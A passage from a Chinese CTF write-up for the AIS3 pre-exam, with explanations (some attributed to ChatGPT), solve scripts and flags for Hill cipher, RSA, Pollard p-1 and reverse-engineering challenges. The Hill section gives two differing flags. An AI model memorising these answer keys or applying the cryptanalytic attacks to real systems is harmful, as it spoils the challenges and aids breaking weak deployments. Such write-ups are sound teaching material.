        s = c ^ int.from_bytes(h, "big")
        ok, r = is_square(s)
        if ok and r.bit_length() <= 256:
            submit_r(rc, r, msb_first=False)   # CPython 順序
            break
    else:
        sys.exit("❌ 某行找不到平方根,檔案可能被改動?")

# -------- 跳過第 78、79 行用掉的 16 個 word -------- #
for _ in range(16):
    rc_bits(rc, 32)                  # 每次取 32-bit 剛好把 word 吃掉

# -------- 產生第 80 組 (= 加密 flag 的那組) -------- #
r_flag = rc_bits(rc, 256)

# -------- 解密 & 印旗標 -------- #
flag_int   = C[-1] ^ (r_flag ** 2)
flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")

try:
    print(flag_bytes.decode())
except UnicodeDecodeError:
    print("FLAG bytes:", flag_bytes)
  • Flag: AIS3{no_more_junks...plz}

Hill
#

crypto
easy
mfctf
pre-exam
AI

Explanation
#

  • 這題是 chatGPT 打出來的,以下是他的介紹:
題目概念
#
  • 這題把字串分成 8 位元組區塊,在有限域 \(\mathbb{F}_{251}\) 下做 Hill 加密:

    $$ \mathbf c_0 = A\mathbf m_0,\qquad \mathbf c_i = A\mathbf m_i + B\mathbf m_{i-1};(i\ge1) $$

  • 伺服器先印出所有旗標密文區塊,接著等使用者輸入一段明文並回傳對應密文。

攻擊核心
#
  1. 選擇明文

    • 用可列印字元組成 baseline 向量 \(\mathbf v=(48,\dots,48)\)

    • 送出下列 18 個區塊:

      1. \(\mathbf v,;\mathbf v\)
      2. 對每個軸 \(k\in0..7\):\(\mathbf v+\delta_k,;\mathbf v\)
    • 共兩輪密文:

      • 第一輪 → 旗標
      • 第二輪 → 還原用的探測密文
  2. 抽出矩陣 \(A,B\)

    • 從第 0、1 行得到 \(A\mathbf v,;(A+B)\mathbf v\),可算出 \(B\mathbf v\)。

    • 對每個 \(k\):

      $$ A\delta_k = (c_{r_k}-B\mathbf v),\quad B\delta_k = (c_{b_k}-A\mathbf v) $$

      把 8 個欄向量拼成 \(A,B\),再計算 \(A^{-1}\)。

  3. 遞迴解密旗標

    $$ \mathbf m_0 = A^{-1}\mathbf c_0,\quad \mathbf m_i = A^{-1}\bigl(\mathbf c_i - B\mathbf m_{i-1}\bigr) $$

    將所有區塊串回 byte 串並去除 padding 0,即得完整 flag AIS3{b451c_h1ll_c1ph3r_15_2_3z_fun_4nd_34sy_r1gh7?}

關鍵細節
#
  • 可列印字元 (0x30/0x31) 避開 input()\x00 的截斷問題。
  • 必須 完整收齊伺服器的旗標密文 再送 payload,否則會少區塊。
  • 二次連線結束後直接 recvall(),即可一次取得 18 行探測密文。
結論
#

這題其實是典型線性代數題: 只要有一次 chosen-plaintext 機會,就能枚舉單位向量並解出整組密鑰,再用矩陣逆推出原文,破解工作量僅為基本矩陣運算。

Solution
#

#!/usr/bin/env python3
# pip install pwntools sympy numpy
from pwn import remote
import numpy as np, sympy as sp, re

p = 251
n = 8
HOST, PORT = "chals1.ais3.org", 18000
NUM_RE = re.compile(r"-?\d+")

# ---------- 讀取工具 ---------- #
def read_until_prompt(io):
    """收向量直到看到 'input:'"""
    vecs = []
    count = 0
    while True:
        line = io.recvline().decode()
        nums = list(map(int, NUM_RE.findall(line)))
        print(line.strip())
        if len(nums) == 8:
            vecs.append(nums)
        if count == 5:
            io.send(build_payload())
            return np.array(vecs, dtype=int) % p
        count += 1

def read_to_eof(io):
    """收向量直到連線關閉"""
    data = io.recvall().decode()
    # print(data)
    vecs = [list(map(int, NUM_RE.findall(l)))
            for l in data.splitlines() if len(NUM_RE.findall(l)) == 8]
    array = np.array(vecs, dtype=int) % p
    # print(f"[+] 收到 {len(array)} 行向量")
    print(array)
    return  array

# ---------- payload ---------- #
ZERO = ord('0')          # 48
ONE  = ord('1')          # 49 = ZERO+1

def block_baseline():
    return bytes([ZERO]*n)

def block_e(k):
    v = [ZERO]*n
    v[k] = ONE
    return bytes(v)

def build_payload():
    blocks = [block_baseline(), block_baseline()]  # 2 baseline
    for k in range(n):
        blocks.append(block_e(k))     # r_k
        blocks.append(block_baseline())  # baseline again
    return b"".join(blocks) + b"\n"    # 18*8 = 144 bytes + '\n'

# ---------- 主程式 ---------- #
def main():
    io = remote(HOST, PORT)
    C_flag  = read_until_prompt(io)   # 1️⃣ 拿 flag 密文

    # io.send(build_payload())          # 2️⃣ 送 payload
    C_probe = read_to_eof(io)         # 3️⃣ 拿 18 行密文
    io.close()

    if len(C_probe) != 18:
        print(f"[!] 期望 18 行探測密文,但收到 {len(C_probe)} 行")
        print(C_probe)
        return
    print("========")
    print(f"C_flag: {C_flag}")
    print("========")
    print(f"C_probe: {C_probe}")
    print("========")

    A_v = C_probe[0]                 # A·v
    AB_v = C_probe[1]                # (A+B)·v
    # 之後公式只需 AB_v

    # ---------- 還原 A, B ---------- #
    A_cols, B_cols = [], []
    for k in range(n):
        c_r = C_probe[2 + 2*k]       # A·(v+δ_k) + B·v = AB_v + A·δ_k
        c_b = C_probe[3 + 2*k]       # A·v + B·(v+δ_k) = AB_v + B·δ_k
        A_cols.append((c_r - AB_v) % p)   # A·δ_k
        B_cols.append((c_b - AB_v) % p)   # B·δ_k

    A = np.column_stack(A_cols) % p
    B = np.column_stack(B_cols) % p
    A_inv = np.array(sp.Matrix(A).inv_mod(p)).astype(int)

    # ---------- 解密旗標 ---------- #
    M = []
    for i, c in enumerate(C_flag):
        if i == 0:
            m = (A_inv @ c) % p
        else:
            m = (A_inv @ ((c - B @ M[i-1]) % p)) % p
        M.append(m)

    plaintext = bytearray(np.concatenate(M).tolist()).split(b"\x00")[0]
    print(len(plaintext), "bytes")
    print("FLAG:", plaintext.decode(errors="ignore"))
    
if __name__ == "__main__":
    main()
  • Flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}

Random_RSA
#

crypto
medium
pre-exam
AI

Explanation
#

  • 這題也是 chatGPT 打出來的,以下是他的解釋:
解題流程總覽
#
  1. 利用 \(h_0,h_1,h_2\) 求出 LCG 參數

    $$ \begin{cases} h_1 \equiv a h_0 + b \pmod M\ h_2 \equiv a h_1 + b \pmod M \end{cases} ;\Longrightarrow; a\equiv(h_2-h_1)(h_1-h_0)^{-1},; b\equiv h_1-a h_0 \pmod M $$

  2. 寫出「迭代 \(t\) 步」的封閉式

    $$ \operatorname{rng}^{,t}(x)=A_t x+B_t,; A_t=a^{t},; B_t=b\frac{a^{t}-1}{a-1}\pmod M $$

  3. 列出二次同餘並窮舉 \(t\) 題目保證 \(q=\operatorname{rng}^{,t}(p)\) 為下一個質數:

    $$ (A_t p+B_t)p\equiv n\bmod M $$

    $$ A_t p^2 + B_t p - n_M\equiv 0\pmod M. $$

    對每個 \(t=1,2,\dots\)(通常 < 1000 就會命中):

    1. 算判別式 \(D=B_t^2+4A_t n_M\pmod M\)。
    2. Tonelli-Shanks 求平方根拿到候選 \(p\)。
    3. 令 \(g=\gcd(p_{\text{cand}},n)\),若 \(1<g<n\) 就得到真正的 \(p\)。
  4. 得到 \(p,q\) 後還原明文

    • \(\varphi=(p-1)(q-1)\)
    • \(d=e^{-1}\bmod \varphi\)
    • \(m=c^{,d}\bmod n\)
    • 轉 bytes 即可拿到旗子。

為何可行
#
  • 有了三個連續 RNG 輸出就能唯一決定 \((a,b)\)。
  • \(p\) 與 \(q\) 之間的關係僅差「固定步數內的 LCG 迭代」,故能用一次二次同餘把 \(p\) 解出來。
  • 由於 \(M\) 是 512 bit 級質數,Tonelli-Shanks 開平方在數學上可行、計算上也很快。

整體複雜度低、實作不到百行 Python 即可完成,是典型的「隨機數使用不當 → RSA 崩潰」案例。

Solution
#

#!/usr/bin/env python3
from math import gcd
from sympy import invert, sqrt_mod, isprime
from binascii import unhexlify, hexlify

# ---------- 把 output.txt 的數值貼進來 ----------
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M  = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n  = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e  = 65537
c  = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201
# -------------------------------------------------

# 1. 求 a, b
inv = invert(h1 - h0, M)
a   = (h2 - h1) * inv % M
b   = (h1 - a * h0) % M
assert (a * h0 + b) % M == h1

# 2. 掃描 t
nM = n % M
ainv = invert(a - 1, M)
p = q = None

for t in range(1, 1001):
    A = pow(a, t, M)
    B = (A - 1) * b * ainv % M

    # A p^2 + B p - nM ≡ 0 (mod M)
    D = (B * B + 4 * A * nM) % M        # 注意 C = -nM
    roots = sqrt_mod(D, M, all_roots=True)
    if not roots:
        continue

    inv2A = invert(2 * A, M)
    for r in roots:
        p_cand = (-B + r) * inv2A % M
        if p_cand in (0, M):
            continue
        g = gcd(p_cand, n)
        if 1 < g < n:
            p = g
            q = n // g
            break
    if p:
        break

assert p and q and p * q == n and isprime(p) and isprime(q)
print("[+] factor found, t =", t)
print("p =", p)
print("q =", q)

# 3. 還原 FLAG
phi = (p - 1) * (q - 1)

# 這行保持 SymPy 計算精度
d = invert(e, phi)

# --------- 修改處 ---------
m_int = pow(c, int(d), n)      # 只把 d 轉成 int
# 或者乾脆:
# d = int(invert(e, phi))
# m_int = pow(c, d, n)
# --------------------------------

flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big")
print(flag.decode())
  • Flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

Happy Happy Factoring
#

crypto
pre-exam
medium

Explanation
#

  • 終於來到一題 chatGPT 沒打穿的題目了,摸了好幾個小時都沒打出來就自己查查看怎麼分解大數
  • 看到 get_pollard_prime() 想說搜尋一下,找一找就找到一個在介紹 Pollard’s p - 1 Algorithm 的網站。
  • 把程式抄過來,能夠成功分解出一個因數:
p₀ = 37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167  (bits: 893)
  • 丟給 chatGPT 之後,他說用
    • \(d \equiv e^{-1} \mod (p₀ - 1)\) 的關係式
    • 並透過 \(m = c^d \mod p₀\) 就能夠還原出 flag

Solution
#

from sympy import mod_inverse
from math import gcd, log2

# https://oalieno.tw/posts/pollard

n = 60763718988363732014714378240503239363378716344786064427633103900163714795049031343530976333384849092574531088958278531796791269274033045247468279778697834271056697703384043345478274417830331218076647357163447985776813989427400170525437678547826499412542686651017218028970864190216904615610527825259880112714553787804820022215890969437398474372702507063412690704689550295715710210726663486141414839866746195390190050689478793788994971113120247044980308444816728343285377217719743417243597984030508281943509471779819738142587401185391525828957277332050173790712364630350364573645269670566599757124924556318618780988680189777327076706459707684684212592008631793816662912108065408593909988525347442925181041282276218509071711541277729368738735764243654195687411950100527148736266697290008653570361567103718692686950265823409008150425223699459852898223162147029064447737730602794595138107108115161225211304281588196101442541064849330085624077639919266218475926019026834286095322529307797803560019118617515335223076631003247439277523058831709125266949216817874124236017467949448675716346763692924023726148784017135614973119630683596746148387050812840110466838283975867125038922845823807931521243892970213719547931807222621641732942788807438874234021460457789662655868012096318135427733535828701239344723536380874649435986485519446498010249439129416294059581506089078379364874801633348823482500982032017362540718382857218498839339
e = 65537
c = 44207030878602255093439727713627529424714536888513933329918295258695649333115968449370359700222302579245312436480617326596647245058051575370999951904443151550015706074625370328401332779076604686192843031449186235749865643368166253840337277509707994397801878226500358006463024635087435969538998524734582405866525600851546459050191793239073846810455635211879914050737467404026533874103858418973673243458902849516794733035491504110489194944517745006206578407001620379259037944572489812890427482523341875844231406658507757087786915450447369790738422106207343811320979464959215733209780327553156828306906699830103249980426322575134388451893085145613033052707119244509600245343514769051601842478130345500737780120982516001378114355893400613318479527209307727381442878249151936468300312623822839419034585228514262658066842576813177085447513589259064467260172762603680019928473807935131716584215553191881403885379486263800885157417935351355285318307493812608156009093176418157547185476076384813081081655591478637089927732990897838102722736056096469961634469383933144558941569830176969764313728115821455037916103169727305546266609284138398242237907130652437778206322442252293263897704265426827967602427841795290642868172013365981708186335407114033847578653977681421086305327283866009608036787400010585809721949312065234506464271259806098824737010873785025492695022775753403396509548322949271103192949782516909378429902333959165240991

def pollard(n) -> int:
    a, b = 2, 2
    while True:
        a, b = pow(a, b, n), b + 1
        d = gcd(a - 1, n)
        if 1 < d < n:
            return d

p0 = pollard(n)
print(f"[+] p₀ = {p0}  (bits: {int(log2(p0))+1})")

# 解密
d = mod_inverse(e, p0 - 1)
m = pow(c, d, p0)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big").decode()

print("[+] flag:", flag)
  • Flag: AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}

Rev
#

AIS3 Tiny Server - Reverse
#

rev
easy
pre-exam
AI

Explanation
#

  • 這題是 chatGPT 打出來的。
  • 主要是先透過 IDA 丟進去後,發現有個 function 長這樣:
_BOOL4 __cdecl sub_1E20(int a1)
{
  unsigned int v1; // ecx
  char v2; // si
  char v3; // al
  int i; // eax
  char v5; // dl
  _BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
  _DWORD v8[11]; // [esp+12h] [ebp-3Eh]
  __int16 v9; // [esp+3Eh] [ebp-12h]

  v1 = 0;
  v2 = 51;
  v9 = 20;
  v3 = 114;
  v8[0] = 1480073267;
  v8[1] = 1197221906;
  v8[2] = 254628393;
  v8[3] = 920154;
  v8[4] = 1343445007;
  v8[5] = 874076697;
  v8[6] = 1127428440;
  v8[7] = 1510228243;
  v8[8] = 743978009;
  v8[9] = 54940467;
  v8[10] = 1246382110;
  qmemcpy(v7, "rikki_l0v3", sizeof(v7));
  while ( 1 )
  {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if ( v1 == 45 )
      break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
  }
  for ( i = 0; i != 45; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    if ( !v5 || v5 != *((_BYTE *)v8 + i) )
      return 0;
  }
  return *(_BYTE *)(a1 + 45) == 0;
}
int __cdecl sub_2110(int fd, int a2)
{
  char *p_s; // esi
  char v3; // al
  char *v4; // eax
  char *v5; // eax
  int result; // eax
  int v7; // eax
  char *v8; // edi
  _BYTE *v9; // esi
  char *v10; // ebp
  __int16 v11; // ax
  signed int v12; // ecx
  char *v13; // eax
  __int16 v14; // [esp+Dh] [ebp-102Bh] BYREF
  char v15; // [esp+Fh] [ebp-1029h]
  _DWORD v16[2]; // [esp+10h] [ebp-1028h] BYREF
  char v17; // [esp+18h] [ebp-1020h]
  char s; // [esp+19h] [ebp-101Fh] BYREF
  unsigned __int8 v19; // [esp+810h] [ebp-828h] BYREF
  char v20[1023]; // [esp+811h] [ebp-827h] BYREF
  _DWORD v21[3]; // [esp+C10h] [ebp-428h] BYREF
  char v22; // [esp+C1Ch] [ebp-41Ch] BYREF

  *(_DWORD *)(a2 + 512) = 0;
  *(_DWORD *)(a2 + 516) = 0;
  v21[0] = fd;
  v21[1] = 0;
  v21[2] = &v22;
  sub_17E0(v21, v16, 1024);
  __isoc99_sscanf();
  do
  {
    if ( LOBYTE(v16[0]) == 10 || BYTE1(v16[0]) == 10 )
    {
      result = v19;
      v8 = (char *)&v19;
      v9 = (_BYTE *)a2;
      if ( v19 == 47 )
      {
        v8 = v20;
        v12 = strlen(v20);
        if ( !v12 )
        {
          v15 = 0;
          v8 = ".";
          v14 = 0;
          LOBYTE(result) = 46;
          goto LABEL_24;
        }
        v13 = v20;
        while ( *v13 != 63 )
        {
          if ( v12 <= ++v13 - (char *)&v19 - 1 )
          {
            v9 = (_BYTE *)a2;
            result = (unsigned __int8)v20[0];
            goto LABEL_23;
          }
        }
        *v13 = 0;
        v9 = (_BYTE *)a2;
        result = (unsigned __int8)v20[0];
      }
LABEL_23:
      v15 = 0;
      v14 = 0;
      if ( !(_BYTE)result )
      {
LABEL_29:
        *v9 = 0;
        return result;
      }
LABEL_24:
      v10 = v8;
      while ( 1 )
      {
        ++v9;
        if ( (_BYTE)result == 37 )
        {
          v11 = *(_WORD *)(v10 + 1);
          v10 += 3;
          v14 = v11;
          *(v9 - 1) = strtoul((const char *)&v14, 0, 16);
          result = (unsigned __int8)*v10;
          if ( !(_BYTE)result )
            goto LABEL_29;
        }
        else
        {
          ++v10;
          *(v9 - 1) = result;
          result = (unsigned __int8)*v10;
          if ( !(_BYTE)result )
            goto LABEL_29;
        }
        if ( (_BYTE *)(a2 + 1023) == v9 )
          goto LABEL_29;
      }
    }
    sub_17E0(v21, v16, 1024);
    if ( LOBYTE(v16[0]) == 82 && *(_WORD *)((char *)v16 + 1) == 28257 )
    {
      __isoc99_sscanf();
      v7 = *(_DWORD *)(a2 + 516);
      if ( v7 )
        *(_DWORD *)(a2 + 516) = v7 + 1;
    }
  }
  while ( v16[0] != 861096257 || v16[1] != 1634485805 || v17 != 103 );
  p_s = &s;
  if ( s == 58 || s == 32 )
  {
    do
    {
      do
        v3 = *++p_s;
      while ( v3 == 32 );
    }
    while ( v3 == 58 );
  }
  v4 = strchr(p_s, 13);
  if ( v4 )
    *v4 = 0;
  v5 = strchr(p_s, 10);
  if ( v5 )
    *v5 = 0;
  if ( sub_1E20((int)p_s) )
    sub_1F90(fd, 200, (int)"Flag Correct!", "Congratulations! You found the correct flag!", 0);
  else
    sub_1F90(fd, 403, (int)"Wrong Flag", "Sorry, that's not the correct flag. Try again!", 0);
  return close(fd);
}
  • 丟給 chatGPT 之後分析出來如下:
挑戰簡介
#

這是一個 AIS3 Tiny Server 的逆向題目,目標是在本地分析 server binary 裡面的「flag 檢查器」(sub_1E20),還原出正確的 flag 字串後,送到 sub_2110 中進行比對,最終得到「Flag Correct!」的回應。

核心流程
#
  1. 定位檢查函數

    • .rodata 找到關鍵字串 Flag Correct!Wrong FlagAIS3-Flag: 等,利用 xref(交叉引用)定位到 sub_2110
    • sub_2110 解析出它是如何讀取 HTTP 請求、解碼 URL(percent‐decode),並呼叫 sub_1E20 驗證。
  2. 理解 sub_1E20 邏輯

    • v7[10] = "rikki_l0v3" 作為 key stream。
    • v8[11](原始常量陣列,共 11×4 byte)僅作為佔位,實際用後立刻被覆蓋。
    • 透過兩個暫存變數 v2=51v3=114(ASCII ‘r’),在迴圈中對每一個位置做 v8[i] = v2 ^ v3,並更新 v2=v8[i]v3=v7[(i+1)%10],總共產生 45 個 byte。
  3. 復刻 XOR 流產生 flag

    • 不需要原始常量陣列,直接從 v2, v3, key 開始,依照 C code 一次迭代 45 次,計算 b = v2 ^ v3,收集到 flag_bytes
    • flag_bytes 轉為 ASCII,就得到形如 AIS3{...} 的 flag。
  4. 提交並驗證

    • 將還原出的 flag 放入 URL,例如 GET /check?AIS3{...},伺服器回應「Flag Correct!」,題目完成。
小結
#
  • 利用 IDA 找到資料段與函數交叉引用,快速定位 flag 檢查路徑。
  • sub_1E20 的 XOR 迴圈推導出「生成明文」的邏輯,而非解密已存在的密文。
  • 用 Python 複製該迴圈,得到 45 字節 flag,格式為 AIS3{...},即為最終答案。

Solution
#

from struct import pack

# 1) Pack v8[0..10] constants into 44 bytes
ints = [
    1480073267, 1197221906, 254628393, 920154,
    1343445007, 874076697, 1127428440, 1510228243,
    743978009, 54940467, 1246382110,
]
raw = b''.join(pack("<I", i) for i in ints)
# Append one byte to make a total of 45 bytes
raw += b'\x00'
assert len(raw) == 45

key = b"rikki_l0v3"  # v7 key stream
v2 = 51             # initial v2 value
v3 = 114            # initial v3 value ('r')
flag_bytes = bytearray(45)

for i in range(45):
    # Write v8[i] = v2 ^ v3
    flag_bytes[i] = v2 ^ v3

    # In C, they break after writing the 45th byte
    if i == 44:
        break

    # Update v2 and v3 for the next iteration
    # v2 := next byte from the original constant array
    v2 = raw[i + 1]
    # v3 := key[(i+1) % 10]
    v3 = key[(i + 1) % len(key)]

flag = flag_bytes.decode()
print("Flag:", flag)
  • Flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

web flag checker
#

rev
medium
mfctf
pre-exam
AI

Explanation
#

  • 進到網站後打開 F12 能夠看到一個 index.wasm
    flag_checker
  • 把裡面的 flagcheckerfunc8 丟給 chatGPT 後他甚至能夠自己把答案吐出來…
    flag_checker_sol
  • 以下是 chatGPT 的流程介紹
解題流程概覽
#
  1. 定位驗證函式 反編譯 index.wasm 後,找到 flagchecker 與輔助函式 func8flagchecker 會把輸入分成 5 段 × 8 byte,逐段呼叫 func8 後與 5 個硬編碼的 64-bit 常數比對。
2. 還原 func8 行為
#

func8(x, s) 等同 64-bit 左循環位移(rotate-left):

$$ ROL_{64}(x,s)=\bigl((x \ll s) \mid (x \gg (64-s))\bigr) \And 0x\text{FFFFFFFFFFFFFFFF} $$

因此要逆推,只需對常數做相同位數的右循環位移(rotate-right)。

3. 計算各段位移量
#

位移量來自整數 \(-39934163\)(十六進位 0xFD9EA72D):

$$ \text{shift}_i =\bigl(0x\text{FD9EA72D} \gg (6,i)\bigr)\And 0x3F, \qquad i = 0,1,2,3,4 $$

得到 \(45, 28, 42, 39, 61\)。

  1. 取得 5 組目標常數 反編譯可見:

    0x69282A668AEF666A
    0x633525F4D7372337
    0x9DB9A5A0DCC5DD7D
    0x9833AFAFB8381A2F
    0x6FAC8C8726464726
  2. 逆轉換並組合 對每組常數做 ROR64(const, shift_i),再以 little-endian 轉為 8 byte 串接,即還原原始 40 byte 字串。

Solution
#

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

# ---------- helper -----------------------------------------------------------

def rot_r64(x: int, n: int) -> int:
    """Return x rotated right by n (64-bit unsigned)."""
    n &= 63                              # only the low 6 bits matter
    return ((x >> n) | (x << (64 - n))) & 0xFFFFFFFFFFFFFFFF


# ---------- data extracted from the wasm module -----------------------------

TARGETS: list[int] = [
    0x69282A668AEF666A,
    0x633525F4D7372337,
    0x9DB9A5A0DCC5DD7D,
    0x9833AFAFB8381A2F,
    0x6FAC8C8726464726,
]

SHIFT_KEY = 0xFD9EA72D                        # -39934163 as unsigned 32-bit

SHIFTS: list[int] = [(SHIFT_KEY >> (6 * i)) & 0x3F for i in range(5)]
# ⇒ [45, 28, 42, 39, 61]


# ---------- main ------------------------------------------------------------

flag_bytes = bytearray()

for target, shift in zip(TARGETS, SHIFTS):
    # Inverse transform: right-rotate by the same amount
    plain = rot_r64(target, shift)

    # The WASM code treats each 64-bit chunk as little-endian when loading
    # from memory, so we must export it as little-endian as well.
    flag_bytes.extend(plain.to_bytes(8, byteorder="little"))

flag = flag_bytes.decode(errors="replace")    # should be pure ASCII
print(flag)                                   # → AIS3{...}
  • Flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

A_simple_snake_game
#

rev
baby
mfctf
pre-exam
AI

Explanation
#

  • 這題是 chatGPT 解出來的。
  • 先把整個 a.exe 丟到 IDA 裡面看看。晃來晃去翻到 SnakeGame::Screen::drawText 覺得挺可疑的,就把這些全部複製貼上給 chatGPT 就噴出答案了。
void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4)
{
  unsigned int v4; // eax
  int v5; // eax
  char *v6; // eax
  char *Error; // eax
  int v8; // eax
  char v9; // [esp+13h] [ebp-F5h]
  char lpuexcpt; // [esp+14h] [ebp-F4h]
  struct _Unwind_Exception *lpuexcpta; // [esp+14h] [ebp-F4h]
  struct _Unwind_Exception *lpuexcptb; // [esp+14h] [ebp-F4h]
  _DWORD v14[10]; // [esp+5Dh] [ebp-ABh] BYREF
  __int16 v15; // [esp+85h] [ebp-83h]
  char v16; // [esp+87h] [ebp-81h]
  _DWORD v17[4]; // [esp+88h] [ebp-80h] BYREF
  int v18; // [esp+98h] [ebp-70h]
  _BYTE v19[24]; // [esp+9Ch] [ebp-6Ch] BYREF
  _DWORD v20[5]; // [esp+B4h] [ebp-54h] BYREF
  _BYTE v21[27]; // [esp+C8h] [ebp-40h] BYREF
  char v22; // [esp+E3h] [ebp-25h] BYREF
  int TextureFromSurface; // [esp+E4h] [ebp-24h]
  int v24; // [esp+E8h] [ebp-20h]
  unsigned int i; // [esp+ECh] [ebp-1Ch]

  if ( (int)this <= 11451419 || a3 <= 19810 )
  {
    SnakeGame::Screen::createText[abi:cxx11](a1, this, a3);
    v20[4] = 0xFFFFFF;
    v8 = std::string::c_str(v21);
    a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
    a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
    v20[0] = 400;
    v20[1] = 565;
    v20[2] = 320;
    v20[3] = 30;
    SDL_RenderCopy(a1[1], a1[4], 0, v20);
    std::string::~string(v21);
  }
  else
  {
    v14[0] = -831958911;
    v14[1] = -1047254091;
    v14[2] = -1014295699;
    v14[3] = -620220219;
    v14[4] = 2001515017;
    v14[5] = -317711271;
    v14[6] = 1223368792;
    v14[7] = 1697251023;
    v14[8] = 496855031;
    v14[9] = -569364828;
    v15 = 26365;
    v16 = 40;
    std::allocator<char>::allocator(&v22);
    std::string::basic_string(v14, 43, &v22);
    std::allocator<char>::~allocator(&v22);
    for ( i = 0; ; ++i )
    {
      v4 = std::string::length(v19);
      if ( i >= v4 )
        break;
      lpuexcpt = *(_BYTE *)std::string::operator[](i);
      v9 = SnakeGame::hex_array1[i];
      *(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
    }
    v18 = 0xFFFFFF;
    v5 = std::string::c_str(v19);
    v24 = TTF_RenderText_Solid(a1[5], v5, v18);
    if ( v24 )
    {
      TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v24);
      if ( TextureFromSurface )
      {
        v17[0] = 200;
        v17[1] = 565;
        v17[2] = 590;
        v17[3] = 30;
        SDL_RenderCopy(a1[1], TextureFromSurface, 0, v17);
        SDL_FreeSurface(v24);
        SDL_DestroyTexture(TextureFromSurface);
      }
      else
      {
        lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
                                                  (std::ostream::sentry *)&std::cerr,
                                                  "SDL_CreateTextureFromSurface: ");
        Error = (char *)SDL_GetError();
        std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error);
        std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
        SDL_FreeSurface(v24);
      }
    }
    else
    {
      lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
                                                (std::ostream::sentry *)&std::cerr,
                                                "TTF_RenderText_Solid: ");
      v6 = (char *)SDL_GetError();
      std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6);
      std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
    }
    std::string::~string(v19);
  }
}
  • 以下是 chatGPT 的解釋:
流程總覽
#

SnakeGame::Screen::drawText 內發現一條「高比分分支」會把一段硬編碼密文與全域陣列 hex_array1 做 XOR,然後把結果渲染到畫面。只要把這段邏輯獨立出來離線執行,就能直接還原 flag。

1. 鎖定可疑函式
#
  • 在 IDA/Ghidra 追蹤字串或 SDL 字體 API,看到 drawText 內有 TTF_RenderText_SolidSDL_RenderCopy
  • 函式前半部只是普通文字顯示;但當 this > 11451419a3 > 19810 時,程式轉到另一條分支並載入大量常數,顯然是在解碼隱藏訊息。
2. 取得密文
#
  • 分支中有十個 v14[] 32-bit 整數,再加上 v150x670D = 26365)與 v160x28 = 40)。
  • 這 43 個位元組被 std::string(v14, 43, …) 當成「原始字串」放入 v22,就是密文
3. 取得金鑰
#
  • .data 區域找到 SnakeGame::hex_array1

    C0 19 3A FD CE 68 DC F2 0C 47 D4 86 AB 57 …
  • 前 43 個 byte 與密文字節等長,即為 XOR 的key

4. XOR 解密
#
  • 程式實作:plaintext[i] = ciphertext[i] ^ key[i],逐一覆寫 v22[i]
  • 用 Python 快速重現即可離線解碼。
5. 重點回顧
#
  • 條件分支 藏密碼:高分或特定狀態才會顯示。
  • 密文 + 金鑰 = XOR 是最常見的 CTF 手法。
  • 不必真的「通關」或動態貼內存;靜態把常數抄出來就能解,省時又安全。

Solution
#

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decrypt the flag hidden in SnakeGame::Screen::drawText.

The game stores a 43-byte ciphertext in ten 32-bit integers (v14[0‥9])
followed by one 16-bit integer (v15) and one 8-bit integer (v16).
Each byte is XORed with the corresponding byte in the global
array SnakeGame::hex_array1.  Reversing that XOR yields the flag.
"""

import struct

# ---------------------------------------------------------------------------
# 1)  Ciphertext bytes  — values copied directly from the disassembly
#     v14 are signed 32-bit, but we treat them as little-endian unsigned.
# ---------------------------------------------------------------------------
v14 = [
    -831958911,
    -1047254091,
    -1014295699,
    -620220219,
    2001515017,
    -317711271,
    1223368792,
    1697251023,
    496855031,
    -569364828,
]

v15 = 26365          # 0x670D (16-bit)
v16 = 0x28           # 40     (8-bit)

# Pack the integers into bytes (little-endian, 32-bit for v14,
# 16-bit for v15, 8-bit for v16)
cipher_bytes = b"".join(struct.pack("<I", x & 0xFFFFFFFF) for x in v14)
cipher_bytes += struct.pack("<H", v15) + struct.pack("<B", v16)

assert len(cipher_bytes) == 43, "Ciphertext length should be 43 bytes"

# ---------------------------------------------------------------------------
# 2)  Key bytes  — first 43 bytes of SnakeGame::hex_array1
# ---------------------------------------------------------------------------
key_bytes = bytes([
